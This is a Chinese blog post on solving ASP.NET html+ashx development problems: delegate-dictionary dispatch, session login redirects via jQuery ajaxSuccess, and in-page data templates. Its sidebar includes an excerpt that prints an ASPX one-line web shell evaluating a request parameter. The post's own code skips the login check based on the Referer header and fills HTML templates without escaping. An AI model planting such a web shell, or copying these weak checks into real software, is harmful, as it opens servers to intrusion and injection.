关于html+ashx开发中几个问题的解决方法

别再手动写JUnit了!用Diffblue Cover插件给IDEA项目自动生成单元测试(附Maven/Gradle配置) 本文介绍了如何使用Diffblue Cover插件在IDEA中自动生成JUnit单元测试,提升开发效率。通过详细的环境配置、核心功能解析和高级应用场景,帮助开发者快速掌握这一工具,减少手动编写测试的时间,同时确保测试质量。 阅读详情
问题1:用委托字典代替switch...case

  这个问题是在处理请求时发现的,大家肯定也不愿意在自己的项目中建许多的handler来处理那么多的请求,于是就想到在一个handler里处理多个请求,ajax请求中都加一个action的参数,在handler里根据这个action做相应的处理或返回相应的数据,这里肯定没有人用if...else来判断action,大多数人都会想到用switch...case,一开始我也是用的switch,但渐渐地发现,每个case不像一个代码块,不能为其中的变量提供一个独立的作用域!用龙珠中孙悟空的话“真是伤脑筋”。

  在网上搜了一下,也有不少人遇到这个问题。有个解决方法是把每个处理单独成handler里一个方法,这样清楚明了,但在ProcessRequest方法中要用反射调用对应的方法!自己对这个解决办法不太满意,于是想到了委托,想到了字典,把反射调用方法变成在字典里索引委托。

  首先在handler里声明一个私有的静态委托字典:

  static Dictionary<string, Func<string>> hs;

  然后用handler(一般处理程序的类)里静态构造函数初始化hs,更重要的是要在静态构造函数里添加处理方法:

 
  static Handler() 
  { 
    hs = new Dictionary<string, Func<string>>(); 
    hs.Add("add", delegate() 
    { 
      int id = int.Parse(req("id")); 
      string title = req("title"); 
      return "add"; 
    }); 
    hs.Add("update", delegate() 
    { 
      int id = int.Parse(req("id")); 
      string title = req("title"); 
      return "update"; 
    }); 
  } 
最后就是在ProcessRequest方法里调用了:

 
  context.Response.ContentType = "text/plain"; 
  HttpRequest req = context.Request; 
  string action = req["action"].ToLower(); 
  string result = hs[action](); 
  context.Response.Write(result); 
这样便避免了switch...case的变量作用域问题和反射的效率问题。关于上面用到的req()方法,我的想法是把公共的东西用静态方法提供,如:

 static string req(string key)
  {
    return HttpContext.Current.Request[key];
  }
  static string jss(object obj)
  {
    JavaScriptSerializer JSS = new JavaScriptSerializer();
    return JSS.Serialize(obj);
  } 
问题2:权限问题
  你肯定不愿自己的数据在用户没有登陆或登陆过期后还可以继续访问。这里假设登陆的用户用Session["user"]来存储,当然在handler里判断一下Session["user"]是很简单的事情,但问题是你如何让Session["user"]为null时的用户跳转到指定页(这里假设是登陆页login.html)。哈哈,这时你会不会想到用context.Response.Redirect ("login.html")这样一句话来解决呢!我的第一反映是这样的,但分析一下,ajax是请求数据的,这样做是让ajax去请求login.html这个页面,得到的结果应该是login.html的源代码才对,分析是这样分析的,可还是不死心,还是测试了一下,结果正如分析的那样,login.html的源代码做为ajax请求结果返回了!

  其实,大家心理明白,有一个很简单的方法,就是在Session["user"]为null时返回一个特定值,这里假设"unlogin",然后在每次ajax请求完成后判断返回值是不是"unlogin"。

这方法很简单,也很可靠,但很笨,很麻烦,可行性不高。于是我又想到了jquery.ajaxSuccess(),想用它来做统一处理,在我想到它的时候我就有点儿担心,jquery会不会是先调用具体请求的回调函数然后再调用这全局的回调函数呢?我带着这个疑问做了测试,结果也如预料那样先执行具体请求的回调再执行全局回调!没法办,只好查jquery的源码了~。在没压缩的jquery-1.4.2.js里找到了success()这方法,果然如此,改顺序后如下:

 
  function success() { 
    if ( s.global ) { 
      trigger( "ajaxSuccess", [xhr, s] ); 
    } 
    // If a local callback was specified, fire it and pass it the data 
    if ( s.success && xhr.responseText!="unlogin" ) { 
      s.success.call( callbackContext, data, status, xhr ); 
    } 
  } 
执行顺序是改好了,可跳转的代码写哪呢?每个页面写一次?不不,这不是我们写程序的风格,思来想去,写到jquery文件里(最下面)是一个可行的方法:

 
$(document).ajaxSuccess(function(event,xhr,settings){ 
if(xhr.responseText=="unlogin"){ 
window.top.location.href="/login.html"; 
} 
}) 
很明显,不是每个页面的ajax请求都要求用户登陆,比如login.html页,所以判断时要排除不用登陆的页面:

 
  if (HttpContext.Current.Request.UrlReferrer.ToString().ToLower().IndexOf("login.html") < 0) 
  { 
    if (HttpContext.Current.Session["user"] == null) 
    { 
      HttpContext.Current.Response.Write("unlogin"); 
      HttpContext.Current.Response.End(); 
    } 
  } 
问题3:数据模板
  真是什么东西需要,什么都东西就应运而生!在写这个随笔之前正好在园里看到了个jquery.tmpl的文章!tmpl的产生也正是解决这个问题的!我很自知这个方法没tmpl强大,但tmpl有一个问题没有解决,其实模板有两个主要的问题,1是如果模板存储在js里不好编辑,2是要把模板存储在哪里才方便设计时的视图呢!tmpl把模板存储在<script type="text/x-jquery-tmpl"></script>标签中,应该说是解决了第一个问题,但我感觉第2个问题也是很重要的!想来想去,只能把模板直接存储在数据的容器标记里:

 
<ul id="ulList"> 
<li><a href="somepage.html?id={ID}">{Title}</a><br /> 
{Content}</li> 
</ul> 
把模板直接写在目标容器里,就像一条数据一样,美工调样式不是问题,程序加方法不是问题,这方法我看行!但js肯定不会直接操作这个模板吧,现在要做的就是把这个模板变成真的模板:

 
  $(function() { 
    var ulList = $("#ulList"); 
    ulList.data("tpl",ulList.html()).empty(); 
  } 
把模板存储到容器的data里应该是再适当不过了,而且这个操作在页面加载完马上就做!然后把容器清空,让位给后来加载过来的真实数据。后台提供json数据,这个很简单:

 
public class News 
{ 
public int ID { get; set; } 
public string Title { get; set; } 
public string Content { get; set; } 
} 
//handler里用了上面第一个问题的解决方法 
  hs.Add("getNews", delegate() 
  { 
    List<News> list = new List<News>() 
    { 
      new News(){ ID=1,Title="title1",Content="Content1"}, 
      new News(){ ID=2,Title="title2",Content="Content2"}, 
      new News(){ ID=3,Title="title3",Content="Content3"}, 
    }; 
    return jss(list); 
  }); 
前台取数据没什么好说的,这个很基本:

 
$.get("Handler.ashx?n=" + Math.random(), { action: "getNews" }, function(data) { 
var list = $.parseJSON(data); 
var ul = $("#ulList"); 
var html = ""; 
for (var i = 0; i < list.length; i++) { 
html += ul.data("tpl").format(list[i]); 
} 
ul.html(html); 
}) 
在填充数据的时候用了string.format这个方法,它在我 js中的string.format 随笔里有记录,呵呵,这个我也没有想到,写format的时候让它支持json对象只是为了阅读方便,然而用到这如此合适!到这的时候我已兴奋不已了,测试结果如下:

但当我加了事件后,我发现还不够好。如果在模板li里加上onclick="show({ID},'{Title}')",IE里刚打开页面的时候就会有js错误,这是为什么呢?问题在这个ID参数上,因为{ID}被看作json对象了,而它却是一个格式不对的json! 提示js错误也正常,'{Title}'没有错误是原因这里看作字符串参数了。这个js错误虽然不影响程序,但没有人不喜欢自己写的代码是没有js错误的! 解决方法很简单,像Title参数一样加引号就可以了,如果show方法里真的要数字类型,只好在那里转换一下喽!不过你肯定会发现,很多时候是不用转换的,甚至你还希望它就是个字符串类型
2026年江苏省职业院校技能大赛高职组“软件测试”赛项智能体辅助测试参考答案 阅读详情

相关推荐

【Chipyard】Gemmini快速上手

Gemmini 加速器在 ResNet50 推理任务中表现出计算密集型优势,核心操作周期分布符合深度学习模型特征,推理预测流程完整且测试通过,为后续硬件优化和模型部署提供了有效参考。

2358

16开发前的准备:前后台通讯html+ashx

使用.net开发网站一般有三种形式 1:直接aspx+拖放控件 2:aspx(但不使用任何服务端控件)+jquery+ajax 3:html+jquery+ajax+ashx(一般处理程序) 前两种方式,不管是aspx,asp,jsp,php等等页面最终都会在后台转换为HTML代码再发给浏览器客户端,所以速率方便肯定会低于纯html的方式(特别在第一次访问的时候),所以正式开发的时候能不用...

各研发管理 177

智能驾驶小白必看:MEB低速紧急制动系统的工作原理与传感器配置详解

本文深入解析了MEB低速紧急制动系统的工作原理与传感器配置。该系统作为智能驾驶的关键安全冗余,专为应对停车场、拥堵路段等复杂低速场景设计。文章详细拆解了其如何通过超声波雷达、环视摄像头等传感器融合感知环境,并基于碰撞时间(TTC)等模型进行风险评估与分级制动,最终实现主动防碰撞,是智能驾驶技术实用化的重要体现。

c2d3e4f的博客 1131

伪静态配置

localhost/cms/index.php?a=index&amp;m=login 伪静态 怎么写 localhost/cms//index/index/loginlocalhost/cms/admin.php?a=index&amp;m=login 伪静态 怎么写 localhost/cms//admin/index/loginapache作为服务器访问的时候 .htaccess 文件Rew...

resilient的博客 1179

VOLTE信令流程-IMS注册篇(五)

目录 VOLTE信令流程-IMS 注册 VOLTE信令流程-IMS 注册/注销 VOLTE信令流程-VoLTE呼叫流程 VoLTE-VoLTE VoLTE-CS CS-VoLTE CS-CS VOLTE信令流程 VOLTE信令流程-VOLTE-VOLTE信令 VOLTE信令流程-INVITE详细信息 VOLTE信令流程-eSRVCC信令流程 VOLTE信令流程-IP短信 VOLTE信令流程-IMS 注册 IMS注册流程简述  获取鉴权向量 IMS用户将注...

gender123的博客 2万+

UE5 C++教程(一、基本结构)

虚幻API由三块组成,分别是Runtime,Developer utilitiew,functionality for the Editor,大多数游戏性编程只使用运行时模块,最常见的三个是Corn、CornUObject和Engine。

skycol的博客 1万+

asp.net中,我们使用ashx获取数据列表,在前端使用$.ajax()解析

asp.net中,我们使用ashx获取数据列表,在前端使用$.ajax()解析 1 一直在想在asp.net中怎么才能向在java中那样用struts那样做页面请求。 2 3 当然asp.net mvc就是类似struts的东西吧,不过还没来得...

alonlong2016的博客 483

笔试题-2023-芯原-数字前端设计or验证【纯净题目版】

笔试题-2023-芯原-数字前端设计or验证【纯净题目版】

w0shishabi的博客 5685

url重写(伪静态)IIS配置图解

通过IIS创建虚拟目录,新建网站放在该目录下面: IIS配置: 虚拟目录=>点击右键=>选择属性: 点击配置: 点击编辑: 复制两个文本框文本到记事本中=>点击确定: 点击添加=>进行如下配置(将记事本中的文本分别复制到对应文本框,扩展名为.html,取消检查文件是否存在前面的对勾): 注意勾选框配置,然后点击确定,IIS的配置就O...

weixin_34248118的博客 530

pt100和max31865测室温跳变比较大,会从23.04跳到23.47,23.75反复跳变超过了0.5的误差范围,在VDD和GND之间加上0.1和10的滤波电容也不行,如何解决?

🏆 本文收录于《全栈Bug调优(实战版)》专栏,致力于分享我在项目实战过程中遇到的各类Bug及其原因,并提供切实有效的解决方案。无论你是初学者还是经验丰富的开发者,本文将为你指引出一条更高效的Bug修复之路,助你早日登顶,迈向财富自由的梦想🚀!同时,欢迎大家关注、收藏、订阅本专栏,更多精彩内容正在持续更新中。让我们一起进步,Up!Up!Up!    备注: 部分问题/难题源自互联网,经过精心筛选和整理,结合数位十多年大厂实战经验资深大佬经验总结所得,数条可行方案供所需之人参考。

**My Coding Family** 2087

wxComboBox类的使用方法及示例代码

其中,parent表示该控件的父窗口,ID_COMBOBOX是该控件的ID,用于在事件处理函数中区分不同的控件,"默认选项"是下拉列表框的默认选项,options是wxArrayString类型的数组,用于存储下拉列表框中的选项,style可以指定wxComboBox的样式。wxComboBox是wxWidgets中的一个常用控件,它可以被用来显示一组在下拉列表框中的选项,并允许用户从中选择一个选项。上述就是wxComboBox类的基本使用方法,使用这个控件可以方便地实现下拉列表框的功能。

学习使你进步。 713

ashx 修改部分 html,关于html+ashx开发中几个问题的解决方法

问题1:用委托字典代替switch...case。这个问题是在处理请求时发现的,大家肯定也不愿意在自己的项目中建许多的handler来处理那么多的请求,于是就想到在一个handler里处理多个请求,ajax请求中都加一个action的参数,在handler里根据这个action做相应的处理或返回相应的数据,这里肯定没有人用if...else来判断action,大多数人都会想到用switch...c...

weixin_29011395的博客 273

笔试题-2023-思特威-数字电路设计(CIS)【纯净题目版】

10 笔试题-2023-思特威-数字电路设计(CIS)【纯净题目版】

w0shishabi的博客 1472

ashx PHP文件 优劣,关于html+ashx开发中几个问题的解决方法_jquery

> hs;然后用handler(一般处理程序的类)里静态构造函数初始化hs,更重要的是要在静态构造函数里添加处理方法:static Handler(){hs = new Dictionary>();hs.Add("add", delegate(){int id = int.Parse(req("id"));string title = req("title");return "add"...

weixin_42332131的博客 154

最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版

Part-E1-SDIO-Specification-Ver4.00-Final-120220.pdf:最新的sdio 4.0 spec 协议标准 带书签 高清完整PDF版,包括SDIO 接口的外设,SDIO 接口官方协议等。

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

关于html+ashx开发中几个问题的解决方法 (转)

在跟html+ashx打交道的园友们肯定会发现,这种模式虽然优美,但在开发中会遇到一些难处理的地方。我也不例外,下面是自己在实际开发中总结出来的几条经验,希望跟大家分享,更希望得到大家的建议和更好的解决方法!     问题1:用委托字典代替switch...case。   这个问题是在处理请求时发现的,大家肯定也不愿意在自己的项目中建许多的handler来处理那么多的请求,于是就想到在一个h...

weixin_34026276的博客 587

win10 跳过U8环境检测的IE WebControls.rar

win10 安装u8的时候 提示IE WebControls 不通过,这个工具可以欺骗u8的检查。 跳过U8环境检测的IE WebControls。提示导入失败后,重新检测通过。

关于html+ashx开发中几个问题的解决方法的感想和总结

1.针对上篇文章中的服务端处理不敢苟同。仍然坚持使用反射,建立BaseHandler.ashx并在默认process方法中写上反射方法以及权限验证方法。针对具体的情况返回对应的值。服务端其他handler均继承BaseHandler并公开所有方法给页面调用。且在方法头上加权限验证Attrabute供BaseHandler中的权限验证进行验证。 2.客户端封装jquery的post方法以及get方...

weixin_30472035的博客 182

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

ashx跳转html页面,html执行.NET函数 html操作数据库 html与ashx结合

原文发布时间为:2009-09-30 —— 来源于本人的百度文章 [由搬家工具导入]html页面执行.NET函数 html与ashx的结合1、添加一般应用程序Handler.ashxusing System;using System.Web;public class Handler : IHttpHandler {public void ProcessRequest (HttpContext co...

weixin_42360778的博客 721

【B/S】你知道ashx 和ashx.cs

错误描述:通过html 和.ashx文件和三层的建立,查找一个数据库表 从报错的代码,就知道这个是ashx.cs文件的错; 经过核实F12查找,具体cuow错误: the server responded with a status of 500 (Internal Server Error) 也就是服务器没有传到信息500错误;就是没有执行ashxwen文件: 在执行的时候,先执行的...

邢美玲 1412

ashx是什么文件,如何创建

ashx是什么文件,如何创建 C#   2009-04-06 18:11   阅读99   评论0   字号: 大大  中中  小小 大家做application的时候,会发现这样一个文件后缀ashx,在VS2005中Web应用程序项目模板里的Generic Handler 项里。ashx是什么:.ashx 文件用于写web handler的,说白了就是带H

thinker28754的专栏 1万+

ashx文件

ashx是什么文件,如何创建 .ashx 文件用于写web handler的。其实就是带HTML和C#的混合文件。当然你完全可以用.aspx 的文件后缀。使用.ashx 可以让你专注于编程而不用管相关的WEB技术。.ashx必须包含IsReusable. 如下例所示using System; using System.Web;public class AverageHandler :

8alt的专栏 1449

Html ashx比较mvc,C# ashx与html的联合使用

本文将介绍ashx和html的联合使用方法,尽管目前流行mvc,但handler一般处理程序还是ASP.NET的基础知识,结合html页面,做出来的网页绝对比WebForm的简洁和效率高。首先,概要说明一下:html是过去非常老的一种网页格式,属于静态网页,要想在html上呈现SQL Server上的数据,只能依靠ashx了。大概的方法是,利用html作为模板,使用ashx读取数据库,替换html...

weixin_32259601的博客 395

ashx PHP文件 优劣,.NET_ashx介绍以及ashx文件与aspx文件之间的区别,ashx是什么文件? .ashx 文件用于 - phpStudy...

ashx介绍以及ashx文件与aspx文件之间的区别ashx是什么文件?.ashx 文件用于写web handler的。.ashx文件与.aspx文件类似,可以通过它来调用HttpHandler类,它免去了普通.aspx页面的控件解析以及页面处理的过程。其实就是带HTML和C#的混合文件。.ashx文件适合产生供浏览器处理的、不需要回发处理的数据格式,例如用于生成动态图片、动态文本等内容。ashx...

weixin_35920143的博客 306

ashx后门

一、标准ASPX一句话木马 .NET平台下的一句话木马则百年不变,最常见的当属下面这句 <%@ Page Language=”Jscript”%><%eval(Request.Item[“pass”],”unsafe”);%> 想必这句话已经成大多数防御产品的标准样本,除此以外还有上传文件的一句话,像这种的从严格意义上不能算是一句话木...

1735
上一篇: jQueryMobile 列表显示
下一篇: DataTable 写入XML 并输出到前台
minuswang
博客等级 码龄17年 6粉丝 32原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值